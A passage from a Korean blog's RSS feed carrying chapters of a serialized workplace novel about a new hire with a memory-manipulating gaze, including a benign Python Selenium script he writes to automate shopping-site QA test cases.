&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;945&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgYow3/dJMcai95Gcc/hShemaPCSdGCPKhUMqbrlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgYow3/dJMcai95Gcc/hShemaPCSdGCPKhUMqbrlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgYow3/dJMcai95Gcc/hShemaPCSdGCPKhUMqbrlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgYow3%2FdJMcai95Gcc%2FhShemaPCSdGCPKhUMqbrlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;697&quot; height=&quot;697&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;945&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/209&quot;&gt;https://thepin.tistory.com/209&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771422013932&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제7화. 오해의 대가&quot; data-og-description=&quot;제7화. 오해의 대가&amp;ldquo;이한결 씨, 지금 당장 보안팀으로 오세요.&amp;rdquo;내선 전화기 너머로 들려오는 보안팀장의 목소리는 얼음장처럼 차가웠다. 사무실의 모든 시선이 나에게 꽂혔다. 나는 마른침을 &quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/209&quot; data-og-url=&quot;https://thepin.tistory.com/209&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/L1Fnw/dJMb9cBExZ0/gUn4dOKy83RtiBkBoVBu10/img.png?width=800&amp;amp;height=800&amp;amp;face=373_337_423_390,https://scrap.kakaocdn.net/dn/5vTDX/dJMb9lL70kg/9yFRm6GyVtSVL8p9ApoMF0/img.png?width=800&amp;amp;height=800&amp;amp;face=373_337_423_390,https://scrap.kakaocdn.net/dn/ZRIA7/dJMb88eW4qn/8NxInTDzz7yDUsO0lXIzc1/img.png?width=1024&amp;amp;height=933&amp;amp;face=484_432_548_500&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/209&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/209&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/L1Fnw/dJMb9cBExZ0/gUn4dOKy83RtiBkBoVBu10/img.png?width=800&amp;amp;height=800&amp;amp;face=373_337_423_390,https://scrap.kakaocdn.net/dn/5vTDX/dJMb9lL70kg/9yFRm6GyVtSVL8p9ApoMF0/img.png?width=800&amp;amp;height=800&amp;amp;face=373_337_423_390,https://scrap.kakaocdn.net/dn/ZRIA7/dJMb88eW4qn/8NxInTDzz7yDUsO0lXIzc1/img.png?width=1024&amp;amp;height=933&amp;amp;face=484_432_548_500');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제7화. 오해의 대가&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제7화. 오해의 대가&amp;ldquo;이한결 씨, 지금 당장 보안팀으로 오세요.&amp;rdquo;내선 전화기 너머로 들려오는 보안팀장의 목소리는 얼음장처럼 차가웠다. 사무실의 모든 시선이 나에게 꽂혔다. 나는 마른침을&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/208</guid>
      <comments>https://thepin.tistory.com/208#entry208comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:07:40 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제5화. 데이터와 진심</title>
      <link>https://thepin.tistory.com/207</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size16&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/205&quot;&gt;https://thepin.tistory.com/205&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제5화. 데이터와 진심&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점심시간의 소동 이후, 나는 투명 인간이 되기로 자처했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도수 없는 블루라이트 차단 안경을 썼다. 그것은 내 눈을 가리는 얇은 방패이자, 세상과의 단절을 선언하는 벽이었다. 사람들과 대화할 때는 미간이나 인중을 보며 철저히 시선을 피했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임은 나를 피해 다녔고, 다른 동료들도 나를 어려워하는 기색이 역력했다. 휴게실에서 마주치면 어색하게 고개를 돌렸고, 내 뒤에서 수군거리는 소리가 들리는 듯했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;차라리 이게 나아. 아무도 내 눈을 보지 않으면, 아무 일도 일어나지 않아.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 모니터 속으로 도피했다. 내 눈이 닿아도 안전한 건, 오직 0과 1로 이루어진 데이터 세상뿐이었다. 그곳에는 감정도, 오해도, 왜곡된 기억도 없었다. 오직 명확한 논리(Logic)만이 존재했다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이번 주 금요일까지 QA(품질 보증) 1차수 완료해야 합니다. 다들 야근 각오하세요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박성우 팀장의 선포에 사무실 곳곳에서 앓는 소리가 터져 나왔다. 이번 프로젝트는 쇼핑몰 플랫폼의 대규모 업데이트였다. 문제는 테스트해야 할 상품 옵션 조합이 수만 가지에 달한다는 점이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이걸 언제 다 눌러봐? 사람 손으로 하다가 손가락 나가겠다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옆자리의 윤서아 대리도 한숨을 쉬며 엑셀 시트를 넘겼다. 화면에는 테스트해야 할 케이스(Test Case)가 끝도 없이 나열되어 있었다. 단순 반복 노동. 개발자들에게는 지옥과도 같은 시간이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 조용히 내 할당량을 체크했다. 3,000건. 일일이 클릭해서 장바구니에 담고, 결제 금액이 맞는지 확인해야 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;이걸 손으로 하는 건 비효율적이야.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문득 면접 때 박 팀장에게 했던 말이 떠올랐다. &lt;i&gt;&amp;ldquo;효율적인 시간 관리와 집중력으로 승부하겠습니다.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때는 억지로 지어낸 말이었지만, 지금은 증명해야 했다. 내가 괴물이 아니라, 쓸모 있는 팀원이라는 것을.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 퇴근 시간이 지나도록 자리에 남았다. 사무실 불이 하나둘 꺼지고, 윤 대리마저 &amp;ldquo;한결 씨, 안 가요? 적당히 하고 가요&amp;rdquo;라며 퇴근했을 때, 나는 비로소 본격적인 작업을 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어두운 사무실, 모니터 불빛만이 내 얼굴을 비췄다. 나는 심호흡을 한 번 하고 코드 에디터(VS Code)를 실행했다. 검은색 배경에 커서가 하얗게 깜빡였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마치 빈 캔버스 앞에 선 화가처럼, 나는 머릿속으로 로직을 그렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;엑셀 파일을 읽는다. 브라우저를 연다. 값을 입력한다. 결과를 확인한다.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;손가락이 키보드 위를 춤추기 시작했다. 타닥타닥, 경쾌한 타건음이 정적을 갈랐다.&lt;/p&gt;
&lt;pre class=&quot;xl&quot;&gt;&lt;code&gt;import pandas as pd
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저를 자동으로 제어하는 &lt;code&gt;Selenium&lt;/code&gt; 라이브러리를 불러왔다. 엑셀에 있는 테스트 케이스를 읽어와서, 자동으로 브라우저를 띄우고 버튼을 클릭하게 만드는 스크립트를 짜기 시작했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;로그인하고, 상품 검색하고, 옵션 선택하고&amp;hellip;.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 한 줄 한 줄 짤 때마다 잡념이 사라졌다. 내 눈은 코드를 쫓느라 바빴고, 머릿속은 논리로 가득 찼다. 여기에는 감정이 개입할 틈이 없었다. 오직 입력과 출력, 원인과 결과만이 존재했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새벽 2시.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;됐다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엔터키를 누르자, 화면 속 브라우저가 혼자서 빠르게 움직이기 시작했다. 상품을 담고, 결제 페이지로 넘어가고, 금액을 검증하는 과정이 눈 깜짝할 사이에 지나갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사람이 하면 1분 걸릴 일이 3초 만에 끝났다. 나는 의자에 등을 기대며 마른세수를 했다. 피곤했지만, 가슴 한구석이 벅차올랐다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 날 아침 회의 시간.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;진척도 체크하겠습니다. 윤 대리, 얼마나 했어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어제 야근해서 500건 정도 했습니다. 오늘 더 속도 내보겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장은 고개를 끄덕이더니 나를 쳐다봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 씨는? 신입이라 속도 안 나는 건 이해하는데, 그래도 일정은 맞춰야 합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 말없이 USB를 모니터에 꽂고 화면을 띄웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;제 할당량 3,000건, 테스트 완료했습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실에 정적이 흘렀다. 박 팀장이 미간을 찌푸렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;뭐라고요? 장난합니까? 어제 저녁부터 오늘 아침까지 그걸 다 했다고? 대충 체크하고 넘긴 거 아니에요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아닙니다. 자동화 스크립트를 짰습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 준비해둔 결과 리포트를 화면에 띄웠다. 성공(Pass) 2,980건, 실패(Fail) 20건. 실패한 케이스에 대한 로그 분석까지 깔끔하게 정리되어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;파이썬 셀레니움으로 브라우저 구동을 자동화했고, 결과값은 엑셀로 다시 저장되게 만들었습니다. 제가 직접 검수한 샘플링 결과와 100% 일치합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장은 입을 벌린 채 화면과 나를 번갈아 쳐다봤다. 윤 대리도 놀란 눈으로 내 코드를 훑어보고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이거&amp;hellip; 네가 직접 짠 거야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네. 입사 전에 공부했던 걸 응용해봤습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박 팀장이 헛기침을 하며 안경을 고쳐 썼다. 그는 깐깐하게 리포트를 검토하더니, 이내 고개를 들었다. 이번에는 경멸도, 의심도 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;허&amp;hellip; 대단하네. 신입이 이 정도까지 할 줄은 몰랐는데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 나를 똑바로 바라보며 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;잘했어, 이한결. 덕분에 팀 전체 일정이 3일은 당겨지겠네. 이 스크립트, 윤 대리랑 공유해서 다른 파트에도 적용해.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네, 알겠습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그리고&amp;hellip; 오해해서 미안하다. 일머리는 확실히 있네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 순간, 가슴 속에서 묵직한 것이 울렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그것은 내 능력을 썼을 때 상대방이 보여주는 멍한 복종과는 달랐다.&lt;br /&gt;나를 두려워하는 공포의 눈빛과도 달랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그것은 &amp;lsquo;인정&amp;rsquo;이었다.&lt;br /&gt;내가 조작하지 않은, 상대방의 마음에서 우러나온 진짜 데이터였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;이거구나.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 책상 아래로 주먹을 꽉 쥐었다. 눈을 쓰지 않아도 된다. 아니, 눈을 쓰지 않아야만 얻을 수 있는 것이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;감사합니다, 팀장님.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 처음으로 고개를 들고 박 팀장의 눈을 마주 보며 웃었다. 내 눈동자는 그저 평범한 갈색으로 빛나고 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;945&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dy4VZd/dJMcaca1461/zYZ4H4mAig6JEt4OA8Tp3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dy4VZd/dJMcaca1461/zYZ4H4mAig6JEt4OA8Tp3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dy4VZd/dJMcaca1461/zYZ4H4mAig6JEt4OA8Tp3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdy4VZd%2FdJMcaca1461%2FzYZ4H4mAig6JEt4OA8Tp3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;628&quot; height=&quot;628&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;945&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/208&quot;&gt;https://thepin.tistory.com/208&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771421993456&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 제6화. 불신의 그림자&quot; data-og-description=&quot;제6화. 불신의 그림자파이썬 자동화 스크립트 덕분에 나는 팀 내에서 &amp;lsquo;일 잘하는 신입&amp;rsquo;으로 자리를 잡아가고 있었다. 하지만 아이러니하게도, 업무 능력이 빛을 발할수록 나를 둘러싼 그림자&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/208&quot; data-og-url=&quot;https://thepin.tistory.com/208&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/J20y5/dJMb87f2QBO/M3v3hSq8q3uFJwYNd12ic0/img.png?width=800&amp;amp;height=738&amp;amp;face=378_228_410_263,https://scrap.kakaocdn.net/dn/2XzrU/dJMb8865jM2/DaU1Zk3osCaKB6nMT8H250/img.png?width=800&amp;amp;height=738&amp;amp;face=378_228_410_263,https://scrap.kakaocdn.net/dn/bmw6jY/dJMb87f2QBN/6ch9IL7BJB7xuI1lrXvMLK/img.png?width=1024&amp;amp;height=945&amp;amp;face=483_289_534_345&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/208&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/208&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/J20y5/dJMb87f2QBO/M3v3hSq8q3uFJwYNd12ic0/img.png?width=800&amp;amp;height=738&amp;amp;face=378_228_410_263,https://scrap.kakaocdn.net/dn/2XzrU/dJMb8865jM2/DaU1Zk3osCaKB6nMT8H250/img.png?width=800&amp;amp;height=738&amp;amp;face=378_228_410_263,https://scrap.kakaocdn.net/dn/bmw6jY/dJMb87f2QBN/6ch9IL7BJB7xuI1lrXvMLK/img.png?width=1024&amp;amp;height=945&amp;amp;face=483_289_534_345');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 제6화. 불신의 그림자&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;제6화. 불신의 그림자파이썬 자동화 스크립트 덕분에 나는 팀 내에서 &amp;lsquo;일 잘하는 신입&amp;rsquo;으로 자리를 잡아가고 있었다. 하지만 아이러니하게도, 업무 능력이 빛을 발할수록 나를 둘러싼 그림자&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[부록] 한결이 작성한 QA 자동화 스크립트 (python_script.py)&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import pandas as pd
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, NoSuchElementException
import time
import datetime

# 설정: 엑셀 파일 경로 및 결과 저장 경로
INPUT_FILE = 'qa_test_cases.xlsx'
OUTPUT_FILE = f'qa_result_{datetime.datetime.now().strftime(&quot;%Y%m%d_%H%M%S&quot;)}.xlsx'

# 웹드라이버 설정 (Chrome)
options = webdriver.ChromeOptions()
options.add_argument('--headless')  # 브라우저 창을 띄우지 않고 실행 (속도 향상)
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
driver = webdriver.Chrome(options=options)

def run_test_automation():
    print(&quot;&amp;gt;&amp;gt;&amp;gt; QA 자동화 테스트를 시작합니다...&quot;)

    # 엑셀 파일 로드
    try:
        df = pd.read_excel(INPUT_FILE)
    except FileNotFoundError:
        print(f&quot;Error: {INPUT_FILE} 파일을 찾을 수 없습니다.&quot;)
        return

    results = []
    logs = []

    # 테스트 케이스 순회
    for index, row in df.iterrows():
        case_id = row['CaseID']
        url = row['TargetURL']
        expected_text = row['ExpectedResult']

        print(f&quot;Testing [{case_id}]...&quot;, end=&quot; &quot;)

        try:
            driver.get(url)

            # 페이지 로딩 대기 (최대 10초)
            WebDriverWait(driver, 10).until(
                EC.presence_of_element_located((By.TAG_NAME, &quot;body&quot;))
            )

            # 결과 검증 (페이지 소스 내에 기대하는 텍스트가 있는지 확인)
            body_text = driver.find_element(By.TAG_NAME, &quot;body&quot;).text

            if expected_text in body_text:
                results.append(&quot;Pass&quot;)
                print(&quot;PASS&quot;)
            else:
                results.append(&quot;Fail&quot;)
                logs.append(f&quot;[{case_id}] Fail: Expected '{expected_text}' not found.&quot;)
                print(&quot;FAIL&quot;)

        except Exception as e:
            results.append(&quot;Error&quot;)
            logs.append(f&quot;[{case_id}] Error: {str(e)}&quot;)
            print(&quot;ERROR&quot;)

    # 결과 저장
    df['TestResult'] = results
    df.to_excel(OUTPUT_FILE, index=False)

    print(&quot;\n&amp;gt;&amp;gt;&amp;gt; 테스트 완료.&quot;)
    print(f&quot;Total: {len(df)}, Pass: {results.count('Pass')}, Fail: {results.count('Fail')}&quot;)
    print(f&quot;결과 파일 저장됨: {OUTPUT_FILE}&quot;)

    if logs:
        print(&quot;\n[Error Logs]&quot;)
        for log in logs:
            print(log)

    driver.quit()

if __name__ == &quot;__main__&quot;:
    run_test_automation()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/207</guid>
      <comments>https://thepin.tistory.com/207#entry207comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:06:08 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제4화. 점심시간의 갈등</title>
      <link>https://thepin.tistory.com/206</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/204&quot;&gt;https://thepin.tistory.com/204&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;제4화. 점심시간의 갈등&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직장인에게 점심시간은 유일한 해방구라지만, 신입 사원인 내게는 업무의 연장선일 뿐이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;한결 씨는 메뉴 뭐 먹을래요?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아, 저는 아무거나 괜찮습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사 근처의 김치찌개 집. 개발 2팀 팀원들이 둥그렇게 둘러앉았다. 나는 수저를 세팅하고 물을 따르며 눈치를 살폈다. 다행히 박성우 팀장은 임원 회의 때문에 빠졌고, 윤서아 대리와 다른 선배들, 그리고 입사 3년 차인 최진호 주임이 함께했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분위기는 나쁘지 않았다. 최 주임이 입을 열기 전까지는.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 한결아. 너 어제 윤 대리님이 사고 친 거 수습해줬다며?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임이 짓궂은 표정으로 물었다. 그는 평소에도 나를 &amp;lsquo;낙하산&amp;rsquo;이라 의심하며 은근히 긁어대던 사람이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아&amp;hellip; 네. 제가 실수를 좀 해서 도움을 받았습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;좋겠다, 넌. 윤 대리님이 원래 남 일에 신경 안 쓰는 스타일인데, 신입이라고 특별 대우해주나 봐?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그의 말투에는 가시가 돋쳐 있었다. 윤 대리가 묵묵히 밥만 먹고 있자, 최 주임은 더 신이 난 듯 떠들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;솔직히 말해서, 네가 운이 좋은 거야. 면접 때도 박 팀장님이 너 엄청 깠다면서? 근데 어떻게 붙었냐? 뭐 빽이라도 있어?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숟가락을 쥔 내 손이 미세하게 떨렸다. 빽이라니.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가슴 한구석이 욱신거렸다. 부정할 수 없었다. 내 능력으로 면접관의 마음을 돌린 건 사실이니까. 하지만 그 합격을 위해 내가 밤새워 공부했던 데이터 분석과 코딩, 그 모든 노력마저 &amp;lsquo;운&amp;rsquo;과 &amp;lsquo;빽&amp;rsquo;이라는 단어 아래 짓밟히는 기분이었다. 속이 울렁거렸다. 마치 상한 음식을 억지로 삼킨 것처럼.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그런 거 아닙니다. 그냥&amp;hellip; 운이 좋았습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;운? 야, 여기 운으로 들어온 사람이 어디 있냐. 다들 죽어라 스펙 쌓아서 들어온 거지. 너처럼 비실비실한 애가 들어오니까 기존 사람들이 허탈한 거야.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선이 넘었다. 주변 선배들이 &amp;ldquo;야, 진호야. 밥 먹는데 그만해라&amp;rdquo;라고 말렸지만, 그는 멈추지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아니, 내 말이 틀려? 솔직히 쟤, 짐만 될 게 뻔하잖아. 어제도 데이터 날려 먹을 뻔했다며? 윤 대리님이 안 봐줬으면 넌 벌써 시말서야.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임이 나를 빤히 쳐다보며 비웃었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;능력 없으면 눈치라도 있어야지. 밥맛 떨어지게.&amp;rdquo;&lt;/p&gt;
